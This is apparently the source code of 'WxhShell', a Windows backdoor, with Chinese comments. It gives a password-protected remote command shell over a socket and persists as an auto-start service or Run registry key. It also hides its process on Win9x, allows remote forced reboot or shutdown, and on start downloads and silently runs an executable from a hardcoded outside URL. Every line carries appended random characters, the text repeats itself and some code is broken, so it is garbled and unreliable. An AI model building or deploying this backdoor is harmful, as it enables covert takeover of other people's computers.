    if(Boot(SHUTDOWN)) .P?n<n#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Yd@ V}  
    else { ]?oJxW.  
    closesocket(wsh); [fo#){3K  
    ExitThread(0); A^LS^!Jz  
    } 5IFzbL#q#f  
    break; +/]*ChrS  
    } }#g+~9UK  
  // 获取shell X-TGrdoX  
  case 's': { +o"CMI  
    CmdShell(wsh); R(cg`8  
    closesocket(wsh); .c__T {<)[  
    ExitThread(0); d\JB jT1g  
    break; Ld/6{w4ir  
  } imAOYEH7}  
  // 退出 &}pF6eIar  
  case 'x': { 0G33hIOS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Cx.##n0  
    CloseIt(wsh); ^=1u2YdVw  
    break; -o!bO9vC  
    } U0{)goN.  
  // 离开 %^nNt:N0  
  case 'q': { \+l_H4\`K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iDhC_F|  
    closesocket(wsh); DQ c\[Gq&  
    WSACleanup(); LXhR"PWZM\  
    exit(1); `ah|BV  
    break; "zCT S  
        } tLq]#9kL  
  } U[8F{LX  
  } ^&8hhxCPu|  
{~s\a2YH  
  // 提示信息 I;eoy,  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eO*s,*  
} RO%M9LISI  
  } !y'>sAf  
Ht\2 IP  
  return; "Jg.)1Jw  
} H270)Cwn+  
k*\)z\f  
// shell模块句柄 k)X\z@I'  
int CmdShell(SOCKET sock) $N;J)  
{ d%epM5  
STARTUPINFO si; cs9h\]ZA  
ZeroMemory(&si,sizeof(si)); s8P3H|0.-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hlze]d?z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bqp^\yu-E  
PROCESS_INFORMATION ProcessInfo; $8AW  
char cmdline[]="cmd"; MuP>#Vk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3]9Rmx  
  return 0; ,9_O4O%  
} wAX;)PLg  
">eled)O  
// 自身启动模式 8e,F{>N  
int StartFromService(void) N mxh zjJ  
{ lcjOBu  
typedef struct 4>vO9q  
{ j6XHH&ZEb  
  DWORD ExitStatus; m.1-[2{8~  
  DWORD PebBaseAddress; J:&.[  
  DWORD AffinityMask; v>Kh5H5e~  
  DWORD BasePriority; g;6/P2w  
  ULONG UniqueProcessId; B, H9EX  
  ULONG InheritedFromUniqueProcessId; D_~;!^  
}   PROCESS_BASIC_INFORMATION; -;&I S  
ZX1/6|_  
PROCNTQSIP NtQueryInformationProcess; "Y&   
}Bsh!3D<.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #)twk `!^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X"r.*fb;N  
YZSQOLN{  
  HANDLE             hProcess; Hc8He!X*#  
  PROCESS_BASIC_INFORMATION pbi; r `n|fD.  
j2u'5kJ G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5y\35kT'  
  if(NULL == hInst ) return 0; 7Hgn/b[?b  
rwP)TJh"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); % -AcA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); wQjYH!u,YZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?~t5>PEonv  
!k*B-@F  
  if (!NtQueryInformationProcess) return 0; _5~|z$GW  
K@g ~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?*+U[*M  
  if(!hProcess) return 0; \/;c^!(<  
J@E]Fl  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bn8maYUZ  
|)Dm.)/0)  
  CloseHandle(hProcess); !t"/w6X1I  
{#,5C H')  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); t&=bW<6  
if(hProcess==NULL) return 0; UI U:^g0  
/HhA2 (g%  
HMODULE hMod; fKqr$59>  
char procName[255]; pV  u[  
unsigned long cbNeeded; ipp`99  
X{, mj"(w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ex1!7A!}g  
N|2d9E  
  CloseHandle(hProcess); a{^z= =  
xR&:]M[Vg  
if(strstr(procName,"services")) return 1; // 以服务启动 26nwUNak  
N0kCdJv  
  return 0; // 注册表启动 )j~{P  
} W)/f5[L  
8~R.iqLoX  
// 主模块  p#]9^oA  
int StartWxhshell(LPSTR lpCmdLine) knG:6tQ  
{ O TlqJ  
  SOCKET wsl; oST)E5X;7  
BOOL val=TRUE; eLORG(;h4  
  int port=0; @-\=`#C**  
  struct sockaddr_in door; xZ;eV76  
<Z3C&BM  
  if(wscfg.ws_autoins) Install(); ~K3Lbd| r  
{nUmlP=mS  
port=atoi(lpCmdLine); ^\Q,ACkZb  
2)|=+DN;  
if(port<=0) port=wscfg.ws_port; GQY" +xa8]  
YtSYe%  
  WSADATA data; 2\k!DF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \y=28KKc:c  
zNrn|(Y%Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Q5Nbu90  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Dbj?l;'1  
  door.sin_family = AF_INET; (Z?f eUxp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w`f66*@Q1  
  door.sin_port = htons(port); mHju$d  
Is3Y>oX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cyB+(jLHDs  
closesocket(wsl); JkT!X  
return 1; 85Yi2+8f4  
} '[F`!X  
.*njgAq7  
  if(listen(wsl,2) == INVALID_SOCKET) { \-6y#R-B  
closesocket(wsl); !h7:rv/  
return 1; mIYKzu_k=  
} OhCdBO  
  Wxhshell(wsl); m)pHCS  
  WSACleanup(); [|eIax xR,  
1 Vt,5o5  
return 0; >h#juO"  
mkyYs[  
} lV^:2I/  
:6t73\O  
// 以NT服务方式启动 h;+O96V4.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) > TCit1yD  
{ G`0{31us  
DWORD   status = 0; PDA9.b<q0  
  DWORD   specificError = 0xfffffff; E.NfVeq  
RxJbQs$Ph  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [9Rh"H;h  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JJWP te/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r`6f  
  serviceStatus.dwWin32ExitCode     = 0; NdLe|L?c  
  serviceStatus.dwServiceSpecificExitCode = 0; R"O%##Ws  
  serviceStatus.dwCheckPoint       = 0; ]f &]E ~i  
  serviceStatus.dwWaitHint       = 0; M *3G  
%pOz%v~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1<#D3CXK  
  if (hServiceStatusHandle==0) return; tyW[i8)O}  
i_AD3Jrs  
status = GetLastError(); ]] 0M  
  if (status!=NO_ERROR) eF{uWus  
{ v+Y^mV`|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; AU`z.Isf  
    serviceStatus.dwCheckPoint       = 0; E8sM`2z5  
    serviceStatus.dwWaitHint       = 0; af>i  
    serviceStatus.dwWin32ExitCode     = status; L,#YP#O,j  
    serviceStatus.dwServiceSpecificExitCode = specificError; rqN+0CT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |z_Dw$-xm  
    return; 5cQ]vb  
  } v}t{*P  
4+ d(d  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @aUNyyVP  
  serviceStatus.dwCheckPoint       = 0; F1$XUos9  
  serviceStatus.dwWaitHint       = 0; k}<H  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l }^ziY!  
} =#9#unvE!  
qG 20  
// 处理NT服务事件,比如:启动、停止 YzZj=]\`b  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -th.(eAx  
{ kn>qX{W  
switch(fdwControl) ]rY9t@  
{ 'G % ]/'_U  
case SERVICE_CONTROL_STOP: cW0\f5[/  
  serviceStatus.dwWin32ExitCode = 0; VM<0_R24z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; F{ vT^/  
  serviceStatus.dwCheckPoint   = 0; ZR3,dW6S  
  serviceStatus.dwWaitHint     = 0; X4hz\={  
  { [T7&)p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); EmUn&p%hI  
  } [&&#~gz  
  return; 2@Nd02v|  
case SERVICE_CONTROL_PAUSE: ~$4(|Fq/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UYZC% $5x  
  break; UIf#Gy|l  
case SERVICE_CONTROL_CONTINUE: (NR( )2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `&fW<5-  
  break; =d5;F`m  
case SERVICE_CONTROL_INTERROGATE: B:v_5e\f@  
  break; !F}GSDDV*  
}; ?F[_5ls|]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); JLWm9c+UTG  
} zJ8T.+qJ  
X!z-J>  
// 标准应用程序主函数 ~1*37w~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |*zgX]-+;  
{ HX| p4-L  
r]\[G6mE%  
// 获取操作系统版本 JiXE{(  
OsIsNt=GetOsVer(); P6>C+T1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); qlPIxd  
cL4Go,)w  
  // 从命令行安装 $RI$VyAjD  
  if(strpbrk(lpCmdLine,"iI")) Install(); _ti^i\8~  
X}3?k<m  
  // 下载执行文件 Kzq^f=p  
if(wscfg.ws_downexe) { ynMYf  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) OMjPC_  
  WinExec(wscfg.ws_filenam,SW_HIDE); Zi}h\R a  
} AtHkz|sl  
R|qNyNXo[  
if(!OsIsNt) { z@19gD#8  
// 如果时win9x,隐藏进程并且设置为注册表启动 h2mHbe43  
HideProc(); \oxf_4X  
StartWxhshell(lpCmdLine); ShV_8F z  
}  Lhg  
else CfrO1iF  
  if(StartFromService()) & }j;SK5  
  // 以服务方式启动 *< fJgc"3  
  StartServiceCtrlDispatcher(DispatchTable); p(GI02|n  
else 'M?ptu?f  
  // 普通方式启动 "-Ny f  
  StartWxhshell(lpCmdLine); v4rO 0y=C  
GGHeC/4  
return 0; l> H'PP~  
} i}>EGmv m  
NqKeQezX  
8|i<4>  
&*O'qOO<2  
=========================================== GcO:!b*YMp  
:f7!?^;y>  
u"hr4+/  
RJDk7{(  
A-myY30  
$d-yG553  
" v?3xWXX,  
_[&.`jTFn  
#include <stdio.h> ,s}&|+ '"  
#include <string.h> 17l?li  
#include <windows.h> !JDuVqW  
#include <winsock2.h> ]QHZ [C  
#include <winsvc.h> CcV@YST?  
#include <urlmon.h> #!TlalV  
h 1 "#  
#pragma comment (lib, "Ws2_32.lib") oIj/V|ByK  
#pragma comment (lib, "urlmon.lib") -3d`e2^&}  
:si&A;k  
#define MAX_USER   100 // 最大客户端连接数 ^oq|^O  
#define BUF_SOCK   200 // sock buffer L?8OWLjRy  
#define KEY_BUFF   255 // 输入 buffer k{X+Y6'ku  
vYLspZ;S  
#define REBOOT     0   // 重启 w0sy@OF  
#define SHUTDOWN   1   // 关机  C. uv0  
_M;{}!Gc&A  
#define DEF_PORT   5000 // 监听端口  rB(Q)N  
A -8]4p::  
#define REG_LEN     16   // 注册表键长度 r_bG+iw7p  
#define SVC_LEN     80   // NT服务名长度 7bGt'gvv  
bqF?!t<B  
// 从dll定义API 4C:dkaDq]  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {4[dHfIy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^ -~=U^2tC  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); cyjgi /Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); i[.7 8K-s  
SZtSUt(ss  
// wxhshell配置信息 "=40%j0  
struct WSCFG { '_K`1&#U  
  int ws_port;         // 监听端口 zh?B-"O=5  
  char ws_passstr[REG_LEN]; // 口令 -g 9CW[  
  int ws_autoins;       // 安装标记, 1=yes 0=no qOyS8tA.H  
  char ws_regname[REG_LEN]; // 注册表键名  ++8 Xi1  
  char ws_svcname[REG_LEN]; // 服务名 I~"l9Jc!"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ?6N\AM '  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7uv"#mq  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Pq-@waH3  
int ws_downexe;       // 下载执行标记, 1=yes 0=no p ~+sk1[.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l% %cU"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7:$dl #  
Ew{N 2  
}; trLxg H_Y  
}VH2G94Ll  
// default Wxhshell configuration l96 AJB'  
struct WSCFG wscfg={DEF_PORT, 9/&1lFKJ  
    "xuhuanlingzhe", 0f+]I=1\  
    1, xTcY&   
    "Wxhshell", #^-'q`)  
    "Wxhshell", *z~J ]  
            "WxhShell Service", 4 #lLC-k  
    "Wrsky Windows CmdShell Service", y^{ 4}^u-^  
    "Please Input Your Password: ", [5b[ztN%  
  1, 0U.Ld:  
  "http://www.wrsky.com/wxhshell.exe", @JP6F[d  
  "Wxhshell.exe" #=m:>Q?%z  
    }; %A&g-4(  
NLgeBLB  
// 消息定义模块 > -fXn  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `C6,**`R$k  
char *msg_ws_prompt="\n\r? for help\n\r#>"; K_N`My  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9Y2(.~w6X  
char *msg_ws_ext="\n\rExit."; r|3u]rt  
char *msg_ws_end="\n\rQuit."; VWCC(YRU|$  
char *msg_ws_boot="\n\rReboot..."; ;gRPTk$X3  
char *msg_ws_poff="\n\rShutdown..."; wlP% U  
char *msg_ws_down="\n\rSave to "; e6T?2`5P  
=7 -k D3  
char *msg_ws_err="\n\rErr!"; H3JDA^5  
char *msg_ws_ok="\n\rOK!"; Ut2x4$9  
A>:31C  
char ExeFile[MAX_PATH]; zFwO(  
int nUser = 0; eo"XHP7ja  
HANDLE handles[MAX_USER]; &Fmen;(  
int OsIsNt; ')fIa2dO/  
dsK ^-e6:5  
SERVICE_STATUS       serviceStatus; pG/g  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $VxuaOTyVZ  
aJ]t1  
// 函数声明 ^#7&R"  
int Install(void); q| *nd!y'  
int Uninstall(void); ]zvOM^l~  
int DownloadFile(char *sURL, SOCKET wsh); xkaed  
int Boot(int flag); 7tY~8gQel  
void HideProc(void); itO1ROmu  
int GetOsVer(void); sQT,@+JEr  
int Wxhshell(SOCKET wsl); P[ Vf$ q<  
void TalkWithClient(void *cs); 7 :u+-U  
int CmdShell(SOCKET sock); yN}<l%  
int StartFromService(void); xtXK3[s  
int StartWxhshell(LPSTR lpCmdLine); z-S8s2.Fd  
`3UvKqe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]RW*3X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O=Vj*G ,  
23zR0z(L  
// 数据结构和表定义 -]Oi/i,{  
SERVICE_TABLE_ENTRY DispatchTable[] = fvDcE]_%H  
{ BUsAEw M  
{wscfg.ws_svcname, NTServiceMain}, J\I`#  
{NULL, NULL} V Z60   
}; 6lxZo_  
dSzq}w4xY  
// 自我安装 E{}eYU  
int Install(void) gLg\W3TOi  
{ d[ce3':z  
  char svExeFile[MAX_PATH]; >PygUY d  
  HKEY key; UWBR5  
  strcpy(svExeFile,ExeFile); Bq85g5Dc  
a'\fS7aE0l  
// 如果是win9x系统,修改注册表设为自启动 "&kXAwe  
if(!OsIsNt) { t\<*Q3rl-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o6:p2W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d8f S79  
  RegCloseKey(key); 4wwRNu*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PF;`mdi-,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !=+hU/e  
  RegCloseKey(key); YW-Ge  
  return 0; bEzy KrN\  
    } ,<CzS,(  
  } ?)+I'lW!  
} ? ~~,?Uxw!  
else { NVo =5  
<ZeZq  
// 如果是NT以上系统,安装为系统服务 <$'FTv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0OVxx>p/x  
if (schSCManager!=0) s.@DI|Gnf  
{ Gh{vExH@5(  
  SC_HANDLE schService = CreateService > bSQ}kXe  
  ( X57\sggK  
  schSCManager, " 1$hfs  
  wscfg.ws_svcname, p \,PY  
  wscfg.ws_svcdisp, WAh{*$Rpl  
  SERVICE_ALL_ACCESS, 2ISnWzq;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , as@I0e((  
  SERVICE_AUTO_START, q%}54E80  
  SERVICE_ERROR_NORMAL, -B#>Jn#F  
  svExeFile, H52] Zm  
  NULL, sZ7BBJX2K  
  NULL, Ha/-v?E  
  NULL, GVzG  
  NULL, ;(9q, )  
  NULL vC!}%sxVw_  
  ); >I.X]<jI  
  if (schService!=0) .^* .-8q  
  { l8ZzKb-  
  CloseServiceHandle(schService); w#`E;fN'  
  CloseServiceHandle(schSCManager); tdB<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); '|l1-yD_  
  strcat(svExeFile,wscfg.ws_svcname); }Z}4_/E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { skn];%[v\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $[8GFv  
  RegCloseKey(key); xD<:'-ri>  
  return 0; YXhxzH hPd  
    } `G^MTDp?L+  
  } *J] }bX  
  CloseServiceHandle(schSCManager); -XtDGNH F  
} 2_lb +@[W  
} 3]}wZY0  
0SLS;s.GX  
return 1; OfGMeN6  
} -5t .1/  
=E''$b?Em  
// 自我卸载 @'{m-?*  
int Uninstall(void) 0(!D1G{ul  
{ Ks@  
  HKEY key; &c)n\x*  
!4B($]t  
if(!OsIsNt) { oO8V0VE\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (},TZ+u  
  RegDeleteValue(key,wscfg.ws_regname); R3SAt-IE  
  RegCloseKey(key); VUaYK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L^zF@n^5A  
  RegDeleteValue(key,wscfg.ws_regname); Ec^x  
  RegCloseKey(key); y QxzFy  
  return 0; 9,`eYAu  
  } xi2!__  
} nT.2HQ((Xg  
} q'%-8t  
else { G 'sEbw'[  
fH/J8<  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7C%z 0/  
if (schSCManager!=0) 8f37o/L  
{ '%$)"g]/#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); w{1DwCLKq  
  if (schService!=0) M/X&zr  
  { 1 \_S1ZS  
  if(DeleteService(schService)!=0) { 11s*C #  
  CloseServiceHandle(schService); |Y6+Y{|\  
  CloseServiceHandle(schSCManager); ivKhzU+  
  return 0; &cEQ6('H  
  } ySLa4DQf  
  CloseServiceHandle(schService); [h>RO55e  
  } XUrxnJ4  
  CloseServiceHandle(schSCManager); '7UW\KEB[}  
} I'M,p<B  
} B1GBQH$Ms  
1I*b7t  
return 1; Vnu*+  
} U=4tJb  
[4u.*oL&  
// 从指定url下载文件 `J%iFm/5*  
int DownloadFile(char *sURL, SOCKET wsh) zCZ]`  
{ t7"vAjZU  
  HRESULT hr; Z9MT, "  
char seps[]= "/"; 06FBI?;|=  
char *token; ^Gc#D:zU  
char *file; u dhj$:t  
char myURL[MAX_PATH]; Ka|WT|1  
char myFILE[MAX_PATH]; Gm 0&y  
biy1!r  
strcpy(myURL,sURL); DdY89R 6  
  token=strtok(myURL,seps); +} al_.  
  while(token!=NULL) ]chfa  
  { +=v6 *%y"V  
    file=token; 7$8YBcZ6  
  token=strtok(NULL,seps); $wgHaSni  
  } 5E|y5|8fb  
i/j DwA  
GetCurrentDirectory(MAX_PATH,myFILE); &R? \q*  
strcat(myFILE, "\\"); %s}c#n)N  
strcat(myFILE, file); T) ZO+}  
  send(wsh,myFILE,strlen(myFILE),0); >l & N  
send(wsh,"...",3,0); IUt/V^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $IZ02ZM$  
  if(hr==S_OK) s  bl> i  
return 0; \uT2)X( N  
else O$=[m9V  
return 1; jF5Y-CX  
`Ap<xT0H  
} gLyXe,Jp  
)5NfOvmNB  
// 系统电源模块 F }/tV7m  
int Boot(int flag) rHzwSR@}1  
{ ~]CQ DR:  
  HANDLE hToken; `Bw>0%.  
  TOKEN_PRIVILEGES tkp; Ev adY  
7+!4pf  
  if(OsIsNt) { g j(|#n5C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); p$mx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KaEL*  
    tkp.PrivilegeCount = 1; :gD=F&V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7Nu.2qE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ?pE)K<+Zkf  
if(flag==REBOOT) { k0@b"y*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 4=BIYC"Lu  
  return 0; d) i:-#Q  
} >iZ"#1ZL2O  
else { <'{*6f@n  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V 6DWYs>  
  return 0; Bri yy  
} Owe"x2D\  
  } RM\A$.5  
  else { K{]9Yo  
if(flag==REBOOT) { zWN<"[agc  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }:04bIaV  
  return 0; ,>YW7+kY  
} XLu Y  
else { E79'<;K,zs  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z1 7=g@  
  return 0; =tkO^  
} QD2;JI2  
} 0Yzm\"Ggv  
jN[P$} #b`  
return 1; F gi&CJ8Q  
} HLlp+;CF><  
bdS  
// win9x进程隐藏模块 |Ok@:Au  
void HideProc(void) Xr B)[kQ  
{ t<F*ODn  
8)Z)pCN  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ZNHlq5  
  if ( hKernel != NULL ) ,/oqLI\  
  { xF/u('A  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); JX.3b_O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8^ ujA  
    FreeLibrary(hKernel); -z s5WaJn/  
  } {IB}g:  
zs=[C+Z\  
return; [>IV#6$  
} !R`E+G@   
8M<\?JD~_f  
// 获取操作系统版本 jTeHI|b  
int GetOsVer(void) Whd\Ub8(  
{ u~]O #v  
  OSVERSIONINFO winfo; uK6'TJ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); // k`X  
  GetVersionEx(&winfo); ;2k!KW@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o)V@|i0Js  
  return 1; n|p(Cb#G  
  else 4#^E$N:  
  return 0; DN$[rCi7  
} 6rP?$mn2  
prk@uYCa =  
// 客户端句柄模块 io[>`@=  
int Wxhshell(SOCKET wsl) uht>@ WSg|  
{ ehpU`vQz  
  SOCKET wsh; e|-%-juI  
  struct sockaddr_in client; ?@>PKUv{  
  DWORD myID; 99KW("C1F  
VUneCt%  
  while(nUser<MAX_USER) 'vP"& lrn  
{ ]jB`"to*}  
  int nSize=sizeof(client); z]49dCN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I(5sKU3<  
  if(wsh==INVALID_SOCKET) return 1; B7 #O>a  
Jyz*W!kI  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q*^m8  
if(handles[nUser]==0) T4JG5  
  closesocket(wsh); G`oY(2U  
else -$A >b8  
  nUser++; 4#Bzq3,|  
  } X$Y\/|!z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,6EFJVu \  
@'> Ul!.]  
  return 0; )8JfBzR  
} Fd1t/B,  
qlNB\~HCe  
// 关闭 socket k9*6`w  
void CloseIt(SOCKET wsh) gb^<6BYUG  
{ L=_   
closesocket(wsh); W6A-/;S\  
nUser--; %7S{g  
ExitThread(0); Bo4MoSF}  
} nK8IW3fX9)  
hWz/PK,  
// 客户端请求句柄 a !yBEpMo  
void TalkWithClient(void *cs) '44I}[cA/  
{ =^5#o)~BB  
d%~OEq1i"  
  SOCKET wsh=(SOCKET)cs; 1)BIh~1{p  
  char pwd[SVC_LEN]; N|3a(mtiZ'  
  char cmd[KEY_BUFF]; DUMC4+i  
char chr[1]; W}iDT?Qi  
int i,j; = j!nt8]8  
\gW6E^  
  while (nUser < MAX_USER) { #trb4c{{5  
;uhpo  
if(wscfg.ws_passstr) { Q>yO,H|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [sXn B$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UfNcI[xr  
  //ZeroMemory(pwd,KEY_BUFF); r}4   
      i=0; e` eh;@9p  
  while(i<SVC_LEN) { 0-~F%:x  
!CUy{nV  
  // 设置超时 "MPr'3  
  fd_set FdRead; $lAQcG&Q  
  struct timeval TimeOut; :m[HUh  
  FD_ZERO(&FdRead); @#>YU  
  FD_SET(wsh,&FdRead); tE$oV  
  TimeOut.tv_sec=8; ;[q>  
  TimeOut.tv_usec=0; V2B: DIpr  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); AT -  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 89YG `  
sHPK8Wsg  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9TU B3x^  
  pwd=chr[0]; ,ieew`  
  if(chr[0]==0xd || chr[0]==0xa) { ai]KH7  
  pwd=0; 3>#io^35  
  break; Jz@2?wSp  
  } VfT@;B6ALF  
  i++; 1 uJpn  
    } p_EWpSOt7  
lhBu?q  
  // 如果是非法用户,关闭 socket 3| F\a|N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P_F0lO  
} }Ryrd!3bY  
;8Ts  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Ewa/6=]LA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &`2$,zX#  
c9ea%7o{0a  
while(1) { _X~xfmU  
}Sh3AH/  
  ZeroMemory(cmd,KEY_BUFF); bcUa'ZfN<  
?hOv Y)  
      // 自动支持客户端 telnet标准   `s\E"QeZN  
  j=0; KN:V:8:J  
  while(j<KEY_BUFF) {  bE%*ZB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Jl fIYf~  
  cmd[j]=chr[0]; )5ev4Qf  
  if(chr[0]==0xa || chr[0]==0xd) {  +wE>h>?;  
  cmd[j]=0; 2Xqa?ay0>  
  break; 3RP\w~?  
  } D"<>! ]@(a  
  j++; @0D  
    } s(r1q$5  
]owcx=5q%'  
  // 下载文件 ~kOXMLRg  
  if(strstr(cmd,"http://")) { 2SXy)m !  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Gxw>.O){  
  if(DownloadFile(cmd,wsh)) 4<S=KFT_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .GiQC {@9w  
  else |HQFqa <  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jP )VTk_  
  } \os"j  
  else { **~1`_7~*  
P] Xl  
    switch(cmd[0]) { XSktb k  
  L YMb)=u]  
  // 帮助 I6Oc`S!L  
  case '?': { 0F%V+Y\R  
